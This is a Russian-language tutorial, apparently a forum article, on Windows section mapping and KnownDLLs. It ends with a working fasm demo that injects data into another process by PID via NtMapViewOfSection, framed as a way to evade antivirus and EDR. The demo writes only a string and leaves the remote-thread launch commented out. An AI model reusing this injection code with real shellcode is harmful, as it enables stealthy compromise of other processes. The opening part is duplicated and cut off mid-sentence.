За всё время существования Windows злоумышленники изобретали различные методы внедрения своего кода в сторонние процессы, но в конечном итоге все они сводились к явному выделению памяти функцией
В данной статье мы рассмотрим более продвинутый подход к инжекту - в его основе лежит вполне легальный механизм проецирования секций памяти "Mapping", который повсеместно использует сама ОС в целях экономии системных ресурсов, а потому аверы относятся к нему немного лояльней. Однако нужно отметить, что в современных реалиях бесполезно надевать на вредоносов "шапку из фольги", т.к. с приходом таких защитных решений как EDR антивирусы вышли на абсолютно новый уровень и сигнатурный поиск отошёл уже на второй план, уступив место интеллектуальному анализу действий каждой строчки программы.
Оглавление:
1. Механизм отображения памяти в Win
Маппинг представляет собой вариант общего доступа для межпроцессного взаимодействия IPC. Впервые был введён ещё на Win95, а потому смахнём с него пыль, чтобы заглянуть под кат этого системного механизма. Отметим, что примитивный шарринг был и раньше без учёта особенностей современных мер безопасности - в то время некоторые секции были доступны всем желающим, и если в их число попадал недоброжелатель, он мог модифицировать общую память, что отражалось на всех участниках этого шабаша. Лавочку прикрыли только в Win2k.
Сейчас это довольно распространённый механизм, который использует даже ядро ОС для проецирования своих данных в пространство пользователя, чтобы сократить кол-во переходов из юзера в кернел и обратно. В качестве примера можно привести связь подсистемы GUI с драйвером Win32k.sys (быстрый доступ к GDI/User объектам) через указатель "GdiSharedHandleTable" в PEB, или всегда проецируемую по одинаковому адресу
В момент загрузки Win, первым процессом является диспетчер сеанса smss.exe (Session Manager Subsystem, запускает winlogon и csrss.exe). Далее на каком-то этапе этот процесс создаёт системный объект секций "Section Object" для каждой критической DLL, включая Ntdll и прочие - полный их перечень можно найти в ветке реестра
Теперь, когда мы запускаем новый процесс (например calc.exe), загрузчик образов не читает Kernel32.dll или другую Known с диска. Вместо этого API диспетчера памяти
Эталонная копия набора системных DLL будет находиться в памяти на протяжении всего сеанса\сессии до сл.перезагрузки, а потому адреса этих KnownDLLs будут одинаковыми во-всех активных процессах и ASLR изменит их только после очередного ребута. Как результат, чтобы узнать базу например Kernel32.dll в удалённом процессе, достаточно вызвать
Те, у кого установлен WinDBG, могут провести небольшой эксперимент.
Значит запускаем утилиту Gflags.exe из родительской папки отладчика C:\ProgramFiles\Debugging Tools for Windows (x64)\, и обозначив без полного пути только имя подопытного файла *.exe жмём TAB, после чего взводим галку "ShowLoaderSnaps" (отображать процесс загрузки). У меня это выглядит так:
Теперь если открыть в отладчике указанный файл, то получим подробный лог действий загрузчика образов Win. Портянка получается довольно длинная, поэтому я оставил в ней только вызовы неэкспортируемых наружу функций проецирования
1.1. Механизм «Copy-On-Write»
Системные KnownDLLs проецируются из эталонной копии в каждый ЮМ процесс отдельно, и что примечательно - обязательно с доступом "Только на чтение". При попытки записи в область их памяти тут-же срабатывает сторожевой механизм системы "Copy-On-Write", который добавляет в таблицу VAD процесса новый фрейм физ.памяти ОЗУ, и копирует в него дубликат страницы DLL. При этом новому физ.фрейму назначается оригинальный вирт.адрес, в результате чего мы даже не замечаем подмены и продолжаем обращаться к библиотеке по прежнему адресу. Таким образом, можно сколь угодно менять содержимое системных DLL, но эти изменения не выйдут за рамки нашего процесса. Рисунок ниже демонстрирует данную технологию:
Чтобы получить пруфы на эту теорию, можно написать небольшое приложение, которое через
2. Практическая часть - инжект через маппинг
Данный метод незаслуженно остаётся в тени упомянутого выше. В его основе лежит
В рамках легального программирования,
Обратите внимание, что сопоставляя проекцию MAP с правами RW локально и RX в целевом процессе, нам не нужно выделять память с атрибутом записи в код RWX, что может послужить раздражителем для некоторых антивирусов.
Вот демка на ассемблере fasm, которая проделывает указанные выше операции. При запуске запрашивает PID удалённого процесса-жертвы (см.диспетчер задач), пытается открыть его и если ок, то записывает данные в свою локальную секцию (здесь просто строка, можно заменить на шелл), которые на автомате проецируются сразу и в удалённый процесс. Так мы избавляемся от палённой пары
Обратите внимание на вирт.адреса секций. Не смотря на то, что базы разные, по факту это один общий фрейм физической памяти ОЗУ. Как видим, данные благополучно промапились в удалённый процесс calc.exe по адресу
3. Выводы
Если рассматривать легальную составляющую, то основным клиентом инжекта в сторонние процессы был и остаётся отладчик, который вынужден вставлять инструкцию останова
VirtualAllocEx(), с последующей записью в неё шелла WriteProcessMemory(), и передачей управления через CreateRemoteThread(). Как результат, на свет появилась устойчивая сигнатура, при помощи которой антивирусы с лёгкостью раскрывают план зловредов, отсекая любые их действия ещё на взлёте.В данной статье мы рассмотрим более продвинутый подход к инжекту - в его основе лежит вполне легальный механизм проецирования секций памяти "Mapping", который повсеместно использует сама ОС в целях экономии системных ресурсов, а потому аверы относятся к нему немного лояльней. Однако нужно отметить, что в современных реалиях бесполезно надевать на вредоносов "шапку из фольги", т.к. с приходом таких защитных решений как EDR антивирусы вышли на абсолютно новый уровень и сигнатурный поиск отошёл уже на второй план, уступив место интеллектуальному анализу действий каждой строчки программы.
Оглавление:
1. Механизм отображения памяти в Win
2. Практическая часть - инжект через маппинг
3. Выводы
1. Механизм отображения памяти в Win
Маппинг представляет собой вариант общего доступа для межпроцессного взаимодействия IPC. Впервые был введён ещё на Win95, а потому смахнём с него пыль, чтобы заглянуть под кат этого системного механизма. Отметим, что примитивный шарринг был и раньше без учёта особенностей современных мер безопасности - в то время некоторые секции были доступны всем желающим, и если в их число попадал недоброжелатель, он мог модифицировать общую память, что отражалось на всех участниках этого шабаша. Лавочку прикрыли только в Win2k.
Сейчас это довольно распространённый механизм, который использует даже ядро ОС для проецирования своих данных в пространство пользователя, чтобы сократить кол-во переходов из юзера в кернел и обратно. В качестве примера можно привести связь подсистемы GUI с драйвером Win32k.sys (быстрый доступ к GDI/User объектам) через указатель "GdiSharedHandleTable" в PEB, или всегда проецируемую по одинаковому адресу
0x7FFE0000 во все юзер-процессы структуру KUSER_SHARED_DATA. Но в контексте данной статьи нас будет интересовать маппинг системных библиотек, что на шаг приблизит непосредственно к инжекту кода в юзер-процессы. Выглядит эта схема примерно так.В момент загрузки Win, первым процессом является диспетчер сеанса smss.exe (Session Manager Subsystem, запускает winlogon и csrss.exe). Далее на каком-то этапе этот процесс создаёт системный объект секций "Section Object" для каждой критической DLL, включая Ntdll и прочие - полный их перечень можно найти в ветке реестра
HKLM\System\CurrentControlSet\Control\SessionManager\KnownDLLs, или в каталоге диспетчера объектов через WinDbg или утилитой WinObj. Этот объект является единой эталонной копией системных DLL в памяти.
Код:
0: kd> !object \KnownDLLs
Object : fffff8a00563ad50 Type: (fffffa800c6f7f30) Directory
ObjectHeader: fffff8a00563ad20 (new version)
ObjectDir : fffff8a0000045d0 Name: KnownDlls
HandleCount : 58 PointerCount: 104
Hash Address Type Name
---- ---------------- ---- ----
00 fffff8a0057568c0 Section kernel32.dll
01 fffff8a00576bdd0 Section WININET.dll
02 fffff8a0056451a0 Section WS2_32.dll
fffff8a00576bcd0 Section SHLWAPI.dll
fffff8a0002b5bc0 Section MSCTF.dll
03 fffff8a0057845c0 Section KERNELBASE.dll
05 fffff8a005613560 SymbolicLink KnownDllPath
06 fffff8a00576d380 Section USP10.dll
fffff8a0057657d0 Section user32.dll
fffff8a0057976c0 Section MSASN1.dll
10 fffff8a00578a9f0 Section api-ms-win-downlevel-ole32-l1-1-0.dll
fffff8a00578dc30 Section COMCTL32.dll
11 fffff8a0057846c0 Section CFGMGR32.dll
12 fffff8a0057749f0 Section IMM32.dll
13 fffff8a005774930 Section rpcrt4.dll
14 fffff8a0057b3fc0 Section ntdll.dll
15 fffff8a005794730 Section api-ms-win-downlevel-version-l1-1-0.dll
18 fffff8a00560fde0 Section COMDLG32.dll
19 fffff8a005667d70 Section IMAGEHLP.dll
20 fffff8a00562ebb0 Section SHELL32.dll
fffff8a00578e900 Section api-ms-win-downlevel-advapi32-l1-1-0.dll
fffff8a005752080 Section IERTUTIL.dll
21 fffff8a005761220 Section URLMON.dll
fffff8a005749a40 Section sechost.dll
22 fffff8a005797590 Section WINTRUST.dll
24 fffff8a0002cb890 Section NORMALIZ.dll
fffff8a005794880 Section api-ms-win-downlevel-normaliz-l1-1-0.dll
fffff8a0057636b0 Section LPK.dll
25 fffff8a0056100c0 Section difxapi.dll
26 fffff8a005794640 Section profapi.dll
fffff8a005761cb0 Section Setupapi.dll
27 fffff8a00578fdc0 Section USERENV.dll
fffff8a00578de90 Section CRYPT32.dll
28 fffff8a0057b32f0 Section api-ms-win-downlevel-shlwapi-l1-1-0.dll
fffff8a0057932e0 Section api-ms-win-downlevel-user32-l1-1-0.dll
fffff8a005777dd0 Section gdi32.dll
fffff8a00578a6e0 Section MSVCRT.dll
fffff8a00578d4b0 Section DEVOBJ.dll
29 fffff8a005785c30 Section advapi32.dll
30 fffff8a005748800 Section NSI.dll
fffff8a0056a5d80 Section PSAPI.DLL
31 fffff8a005777ec0 Section OLEAUT32.dll
fffff8a005765710 Section WLDAP32.dll
34 fffff8a00575da40 Section ole32.dll
35 fffff8a0057758a0 Section clbcatq.dll
0: kd>
Теперь, когда мы запускаем новый процесс (например calc.exe), загрузчик образов не читает Kernel32.dll или другую Known с диска. Вместо этого API диспетчера памяти
MmInitializeProcessAddressSpace() указывает лоадеру, что нужно отобразить системную DLL в адресное пространство нового процесса, а тот использует уже существующий системный объект секции, просто вызывая функцию проецирования LdrpMapViewOfSection().Эталонная копия набора системных DLL будет находиться в памяти на протяжении всего сеанса\сессии до сл.перезагрузки, а потому адреса этих KnownDLLs будут одинаковыми во-всех активных процессах и ASLR изменит их только после очередного ребута. Как результат, чтобы узнать базу например Kernel32.dll в удалённом процессе, достаточно вызвать
GetModuleHandle() из своего - с вероятностью 99.9% базовые адреса библиотек будут совпадать.Те, у кого установлен WinDBG, могут провести небольшой эксперимент.
Значит запускаем утилиту Gflags.exe из родительской папки отладчика C:\ProgramFiles\Debugging Tools for Windows (x64)\, и обозначив без полного пути только имя подопытного файла *.exe жмём TAB, после чего взводим галку "ShowLoaderSnaps" (отображать процесс загрузки). У меня это выглядит так:
Теперь если открыть в отладчике указанный файл, то получим подробный лог действий загрузчика образов Win. Портянка получается довольно длинная, поэтому я оставил в ней только вызовы неэкспортируемых наружу функций проецирования
LdrpMapViewOfSection(). Обратите внимание, что Ntdll.dll загружается раньше всех, т.к. именно в ней и находится сам загрузчик РЕ-файлов. В первом столбце лога указывается PID/TID процесса, а через собаку(@) время в микро/сек.
Код:
Microsoft (R) Windows Debugger Version 6.12.0002.633 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.
CommandLine: D:\SectionMap.EXE
Executable search path is:
ModLoad: 00000000`00400000 00000000`00404000 image00000000`00400000
ModLoad: 00000000`77160000 00000000`772ff000 ntdll.dll
0a3c:0acc @ 12867227 - LdrLoadDll - ENTER: DLL name: kernel32.dll DLL path: NULL
0a3c:0acc @ 12867227 - LdrpMapViewOfSection - ENTER: DLL name: C:\Windows\system32\kernel32.dll
0a3c:0acc @ 12867243 - LdrpMapViewOfSection - ENTER: DLL name: C:\Windows\system32\KERNELBASE.dll
0a3c:0acc @ 12867477 - LdrpMapViewOfSection - ENTER: DLL name: C:\Windows\system32\msvcrt.dll
0a3c:0acc @ 12867477 - LdrpMapViewOfSection - STATUS: 0x00000000
(a3c.acc): Break instruction exception - code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x30:
00000000`77206bb0 cc int 3
1.1. Механизм «Copy-On-Write»
Системные KnownDLLs проецируются из эталонной копии в каждый ЮМ процесс отдельно, и что примечательно - обязательно с доступом "Только на чтение". При попытки записи в область их памяти тут-же срабатывает сторожевой механизм системы "Copy-On-Write", который добавляет в таблицу VAD процесса новый фрейм физ.памяти ОЗУ, и копирует в него дубликат страницы DLL. При этом новому физ.фрейму назначается оригинальный вирт.адрес, в результате чего мы даже не замечаем подмены и продолжаем обращаться к библиотеке по прежнему адресу. Таким образом, можно сколь угодно менять содержимое системных DLL, но эти изменения не выйдут за рамки нашего процесса. Рисунок ниже демонстрирует данную технологию:
Чтобы получить пруфы на эту теорию, можно написать небольшое приложение, которое через
VirtualProtect() попытается открыть доступ на запись (пусть будет) в Kernel32.dll. Значит сначала запрашиваем базу GetModuleHandle(kernel32.dll), сразу проверяем атрибуты её страницы где должно быть ReadOnly, далее меняем атрибут на ReadWrite, и вновь чекаем флаги защиты памяти. Вот табличка и лог в WinDBG (т.к. это юзер-мода, можете использовать хоть x64Dbg).
Код:
0:000> bp @$exentry
0:000> g
Breakpoint 0 hit
00000000`00402000 4883ec08 sub rsp,8
0:000> p
00000000`00402004 4883ec20 sub rsp,20h
00000000`00402008 eb0e jmp image00402018
00000000`00402018 488d0debffffff lea rcx,[image0040200a]
00000000`0040201f ff1573100000 call kernel32!GetModuleHandleStub <--- запрос базы DlL в памяти
00000000`00402025 4883c420 add rsp,20h
0:000> !address @rax
Usage: Image
Base Address: 00000000`77050000 <---- свойства запрошенной страницы
End Address: 00000000`77051000
Region Size: 00001000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY <-------- в дефолте ReadOnly
00000000`0040202a 4883ec20 sub rsp,20h
00000000`0040202e 4889c1 mov rcx,rax
00000000`00402031 48c7c200100000 mov rdx,1000h
00000000`00402038 49c7c004000000 mov r8,4 <--------------------- см.таблицу выше
00000000`0040203f 49c7c130104000 mov r9,offset image00401030
00000000`00402046 ff155c100000 call kernel32!VirtualProtectStub <--- меняем атрибуты на R/W!
00000000`0040204c 4883c420 add rsp,20h
0:000> !address 0x77050000
Usage: Image
Base Address: 00000000`77050000 <-------- проверим результ
End Address: 00000000`77051000
Region Size: 00001000
Type: 01000000 MEM_IMAGE
State: 00001000 MEM_COMMIT
Protect: 00000008 PAGE_WRITECOPY <------ Упс, сработал механизм COW.
2. Практическая часть - инжект через маппинг
Данный метод незаслуженно остаётся в тени упомянутого выше. В его основе лежит
NtMapViewOfSection() из либы Ntdll.dll, которая используется малварью для скрытой инъекции кода в обход EDR. Технику применяют сл.вредоносы - все они мапят свои либы с атрибутом SEC_IMAGE для загрузки пайлоада: FormBook (инфостилер), GuLoader, HijackLoader и Blister (лоадеры), LockPoS (банковский троян), группировки АРТ вроде Winnti, и многие другие.В рамках легального программирования,
NtMapViewOfSection() использует следующий паттерн:1. Посредством
EnumProcess() ищется процесс-жертва, после чего OpenProcess() открывает его, чтобы получить дескриптор.
2. Создаётся дополнительная секция с помощью
NtCreateSection().
3. Она отображается дважды с помощью
NtMapViewOfSection(): один раз в своём процессе с правами на запись, а второй раз - в целевом с правами на исполнение.
4. Данные (например, шелл-код) записываются в представление своего процесса, и благодаря разделяемой памяти они становятся видны и в целевом процессе.
5. Наконец создаём удалённый поток
RtlCreateUserThread() в целевом процессе, и указываем ему путь к отображенному представлению.Обратите внимание, что сопоставляя проекцию MAP с правами RW локально и RX в целевом процессе, нам не нужно выделять память с атрибутом записи в код RWX, что может послужить раздражителем для некоторых антивирусов.
Вот демка на ассемблере fasm, которая проделывает указанные выше операции. При запуске запрашивает PID удалённого процесса-жертвы (см.диспетчер задач), пытается открыть его и если ок, то записывает данные в свою локальную секцию (здесь просто строка, можно заменить на шелл), которые на автомате проецируются сразу и в удалённый процесс. Так мы избавляемся от палённой пары
VirtualAllocEx() + WriteProcessMemory().
C-подобный:
format pe64 console
include 'win64ax.inc'
entry start
;//-------------
section '.data' data readable writeable
SEC_COMMIT = 0x08000000
sectSize dq 4096
sectHndl dq 0
targetHndl dq 0
threadHndl dq 0
localAddress dq 0
remoteAddress dq 0
viewSize dq 0
pid dq 0
shell: db 'This is an example of code injection '
db 'into a remote process via section mapping.',0
shellSize = $-shell
dumpSize dq 1024
buff db 0
;//-------------
section '.text' code readable executable
start: sub rsp,8
;//---- Создаём общую секцию
invoke NtCreateSection,sectHndl,\
SECTION_MAP_READ + SECTION_MAP_WRITE + SECTION_MAP_EXECUTE,0,\
sectSize,PAGE_EXECUTE_READWRITE,SEC_COMMIT,0
or eax,eax
jz @f
cinvoke printf,<10,' NtCreateSection error: %x',0>,rax
jmp @exit
;//---- Отображаем её в своём адресном пространстве "Local" с правами ReadWrite
@@: invoke NtMapViewOfSection,[sectHndl],-1,\
localAddress,0,0,0,viewSize,2,0,PAGE_READWRITE
or eax,eax
jz @f
cinvoke printf,<10,' NtMapViewOfSection error: %x',0>,rax
jmp @exit
;//---- Запрашиваем у юзера PID жертвы и пытаемся её открыть
@@: cinvoke printf,<10,' Enter the remote process PID (dec): ',0>
invoke scanf,<'%d',0>,pid ;//<----- Укажите PID удалённого процесса
invoke OpenProcess,PROCESS_CREATE_THREAD + PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_VM_READ,\
0,[pid]
mov [targetHndl],rax
or eax,eax
jnz @f
cinvoke printf,<10,' Open process error: %x',0>,rax
jmp @exit
;//---- Если ОК, отображаем секцию и в удалённый процесс "Remote" с правами уже Execute
@@: invoke NtMapViewOfSection,[sectHndl],[targetHndl],\
remoteAddress,0,0,0,viewSize,2,0,PAGE_EXECUTE_READ
or eax,eax
jz @f
cinvoke printf,<10,' NtCalc_Map error: %x',0>,rax
jmp @exit
;//---- Покажем юзеру базу секций
@@: cinvoke printf,<10,' Local section addr: %p',\
10,' Remote section addr: %p',10,\
10,' Write data in local section...',0>,[localAddress],[remoteAddress]
;//---- Копируем данные в свою лок.секцию, и они пропамятся у жертвы
mov esi,shell
mov rdi,[localAddress]
mov ecx,shellSize
rep movsb
;//---- Выведем на консоль содержимое секции для проверки
invoke CryptBinaryToString,[localAddress],128,0x0B,buff,dumpSize
cinvoke printf,<10,10,'%s',0>,buff
;//---- Создаём удалённый поток для запуска шелл-кода (здесь просто строка),
;//---- и ждём окончания его работы. Шелл должен заканчиваться вызовом ExitThread(0)
;// invoke RtlCreateUserThread,[targetHndl],0,0,0,0,0,[remoteAddress],0,threadHndl,0
;// invoke WaitForSingleObject,[threadHndl], -1
;// invoke CloseHandle, [threadHndl]
@exit: cinvoke _getch
cinvoke exit,0
;//-------------------
section '.idata' import data readable writeable
library msvcrt,'msvcrt.dll',kernel32,'kernel32.dll',\
ntdll,'ntdll.dll',crypt32,'crypt32.dll'
include 'api\kernel32.inc'
include 'api\msvcrt.inc'
include 'api\ntdll.inc'
include 'api\crypt32.inc'
Обратите внимание на вирт.адреса секций. Не смотря на то, что базы разные, по факту это один общий фрейм физической памяти ОЗУ. Как видим, данные благополучно промапились в удалённый процесс calc.exe по адресу
0x00100000, хотя записывал я их в 0x00090000.3. Выводы
Если рассматривать легальную составляющую, то основным клиентом инжекта в сторонние процессы был и остаётся отладчик, который вынужден вставлять инструкцию останова
int-3 для пошаговой трассировки кода. Однако на каком-то витке эволюции что-то пошло не так, и техника стала мощным оружием в руках вирмейкеров. Поэтому при анализе исполняемых файлов всегда нужно проверять импорт на наличие в нём героя данной статьи NtMapViewOfSection(), и если таковая API обнаружится, это должно настораживать. Прикладной софт может использовать её для патча какой-нибудь геймы, или установки обновлений в программу, ну и далее в том-же духе. В скрепке найдёте исполняемый файл для тестов, всем удачи, пока!